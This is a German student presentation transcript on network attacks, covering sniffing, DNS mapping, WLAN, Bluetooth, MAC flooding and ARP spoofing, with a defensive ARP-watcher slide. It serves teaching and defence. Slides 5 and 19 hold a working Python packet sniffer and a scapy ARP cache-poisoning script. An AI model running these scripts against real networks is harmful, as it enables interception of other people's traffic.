Die Präsentation wird geladen. Bitte warten

Die Präsentation wird geladen. Bitte warten

Network Hacks Referat von Kim Schröer – Aktuelle Probleme digitaler Medien 05.12.2013 -

Ähnliche Präsentationen


Präsentation zum Thema: "Network Hacks Referat von Kim Schröer – Aktuelle Probleme digitaler Medien 05.12.2013 -"—  Präsentation transkript:

1 Network Hacks Referat von Kim Schröer – Aktuelle Probleme digitaler Medien 05.12.2013 -

2  Verhindern von Angriffen durch (Er-)Kennen und Verstehen der Möglichkeiten

3 TCP/IP Tricks IP (Internetprotokoll) Verbindungsloses Protokoll (kennt keinen Zusammenhang zw. Zwei Paketen) Aufgaben (unteranderem): definiert Absender und Empfänger des Pakets & ermittelt durch Routing einen Weg zum Ziel (bzw. teilt mit, dass der Rechner nicht erreichbar ist) TCP (Transmission Control Protocol) Aufgaben: kümmert sich um den Aufbau einer Sitzung (Three-Way- Handshake) & die Nummerierung der Datenpakete (damit der Zielrechner sie in der richtigen Reihenfolge verarbeiten kann) & das Abschicken einer Bestätigung durch den Zielrechner (sobald Paket ankommt) & Neuschickung eines Datenpakets, wenn dies nicht der Fall ist & zuletzt adressiert TCP mit Hilfe von Ports die Anwendungsprogramme, sowohl des sendenden Rechners und empfangenen Rechners

4 TCP/IP-Tricks: Ein einfacher Sniffer HTTP ist nicht so sicher wie HTTPS! Plaintextprotokolle: ICQ, SMTP, IMAP/POP3 (Chatten, E-Mails lesen/verschicken) Angreifer  mitlesen bei unverschlüsseltem Netzwerkverkehr Netzwerksniffer: Tcpdump oder Wireshark

5 pip install impackt pcapy #!/usr/bin/python import sys import getopt import pcapy from impacket.ImpactDecoder import EthDecoder dev = "eth=0" filter = "arp" decoder =EthDecoder() # This function will be called for every packet # and just print it def handle_packet(hdr, data): print decoder.decode(data) def usage(): print sys.argv[0] + " -i -f " sys.exit(1) # Parsing parameter try: cmd_opts = "f:i:" opts, args = getopt.getopt(sys.argv[1:], cmd_opts) except getopt.GetoptError: usage() for opt in opts: if opt[0] == "-f": filter = opt[1] elif opt[0] == "-i": dev = opt[1] else: usage() # Open device in promisc mode pcap = pcapy.open_live(dev, 1500, 0, 100) # Set pcap filter pcap.setfilter(filter) #Start sniffing pcap.loop(0, handle_packet) Ein einfacher Sniffer dev = "eth=0“  Netzwerkkarte liest alle Pakete ein filter = "arp“  PCAP-Filter  Nur ARP- Pakete pcap = pcapy.open_live(dev, 1500, 0, 100)  Öffnet Netzwerkkarte zum Einlesen der Pakete  (Netzwerkinterface, snaplen, Promiscuous-Modus, Timeoutwert) Endlosschleife:  lesen von Paketen aus Netzwerkkarte  dekodiert jedes Paket mit Hilfe der EthDecoder-Klasse: handle_packet()

6 DNS (Domain Name System) Ändert schwer zu merkenden Zahlen einer IP- Adresse in anschaulichere und leichter zu merkende Namen wie www.hki.uni-koeln.de (aber auch Namen in IP-Adressen).

7 DNS-Mappers Hostnamen einer Domain liest Wörterbuchdatei mit üblichen Servernamen ein hängt diese an Domainnamen versucht über eine DNS-Query diesen in die IP aufzulösen Erfolg: Rechner existiert

8 HTTP (Hyper Text Tranfer Protocol) Bekannteste Protokoll des Internets Einkaufsportale, Suchmaschinen, E-Mail- und Forendienste, Blogs, Kalender, soziale Netzwerke usw. Die meisten Angriffe erfolgen heutzutage auf Webanwendungen Beliebteste Angriffstool: Webbrowser

9 WLAN- oder Wifi-Netze Heim- und Firmen-LANs Mobiltelefone VoIP-Anlagen in Supermärkten Werbetafeln in Bussen, Bahnen und an Haltestellen Überwachungskameras Wenige medizinische Geräte in Krankenhäusern Vorteil: günstig, individuell einsetzbar

10 WLAN- oder Wifi-Netze WLAN-Scanner: Sehr einfach durch das pythonwifi-Modul WLAN-Sniffer: liest passiv den Verkehr mit und gelangt an Informationen wie SSID, Channel und Client-IPs/-MACs Schutz: z.B. MAC-Address-Filter  Administrator muss MAC-Adresse des Client- Computers für das Netz freischalten

11 Bluetooth Drahtlose Sprach- und Datenübertragungstechnik In Mobiltelefonen, PDA, USB-Stick, Tastatur, Maus, Headset, Drucker, Fernsprecheinrichtung im Auto, Navigationsgerät, neumodische Werbeplakate usw. Class 2 Devices funken nur bis zu 10m, Class 1 dagegen 100m weit

12 Bluetooth Sichere Implementierung: Verbindung lässt sich verschlüsseln und authentifizieren Bluetooth-Adresse wird von der Firmware des Bluetooth-Geräts und nicht durch den Kernel gesetzt, was das Spoofen dieser Adresse erschwert, aber nicht unmöglich macht Gefahr: immer wieder Meldungen über Sicherheitslücken  z.B. als Öffner für Haus-, Garage- und Autotüren

13 OSI-Modell Layer 1 – Physical (Bitübertragungsschicht) Layer 2 – Data-Link (Sicherungsschicht) Layer 3 – Network (Vermittlungsschicht) Layer 4 – Transport (Transportschicht) Layer 5 – Session (Sitzungsschicht) Layer 6 – Presentation (Darstellungsschicht) Layer 7 – Application (Anwendungsschicht)

14 Layer-2-Angriffe Layer 2 – Data-Link (Sicherungsschicht)  Kümmert sich um die wirkliche Adressierung der Daten in einem Ethernet anhand von MAC-Adressen.

15 MAC-Flooder Switches haben wie alle Computer nur begrenzten Speicher Gilt auch für die MAC-Adressen-Tabelle Speicher voll gelaufen  Switches reagieren seltsam Reaktionen: komplette Dienstverweigerung; Aufgabe jeglicher Switchings und Rückfall in einen Hub-Modus

16 ARP (Address Resolution Protocol) vermittelt zw. Schicht 2 (Ethernet) und 3 (IP) Aufgabe: MAC-Adressen in IP-Adressen auflösen

17 - ARP (Address Resolution Protocol) - Quellrechner Zielrechner Hallo alle, hier ist Max! Ich will mit Moritz reden! Wer hat die MAC-Adresse von Moritz? „Hier meine MAC-Adresse: …“ ARP, Request who-has 192.168.2.3 tell 192.168.2.13, length 28 192.168.2.13 192.168.2.3 ARP, Reply 192.168.2.3 is-at aa:bb:cc:aa:bb:cc, length 28

18 ARP  Angreifer One-Way-Man-in-the-Middle: Einsatz fake_ip  nur Pakete vom Client an fake_ip Bidirektionaler Man-in-the-Middle: Angreifer muss beiden Computern die eigene MAC-Adresse eintragen

19 #!/usr/bin/python import sys import time from scapy.all import sendp, ARP, Ether if len(sys.argv) < 3: print sys.argv[0] + “: “ sys.exit(1) iface = “eth0“ target_ip = sys.argv[1] fake_ip = sys.argv[2] ethernet = Ether() arp = ARP (pdst=target_ip, psrc=fake_ip, op=“is-at“) packet = ethernet / arp while True: sendp(packet, iface=iface) time.sleep(10) ARP-Cache-Poisoning  Paket wird konstruiert (packet)  besteht aus Ethernet() und ARP()-Header ARP-Header:  IP-Adresse des Opfers (target_ip) &  IP, für die alle Verbindungen des Opfers an den Angreifer geschickt werden (fake_ip) gesetzt OP-Code  is-at  Deklariert Paket als ARP-Response Endlosschleife: Paket wird alle 10 Sek. versendet

20 Verhindern - ARP-Watcher Tool merkt sich alle IP-zu-MAC-Auflösungen und meldet, wenn ein neues Gerät ans Netzwerk angeschlossen wird oder eine IP plötzlich eine andere MAC-Adresse besitzt teilt nur verdächtiges Verhalten mit, verhindert jedoch nicht direkt den Angriff

21 Noch Fragen?


Herunterladen ppt "Network Hacks Referat von Kim Schröer – Aktuelle Probleme digitaler Medien 05.12.2013 -"

Ähnliche Präsentationen


Google-Anzeigen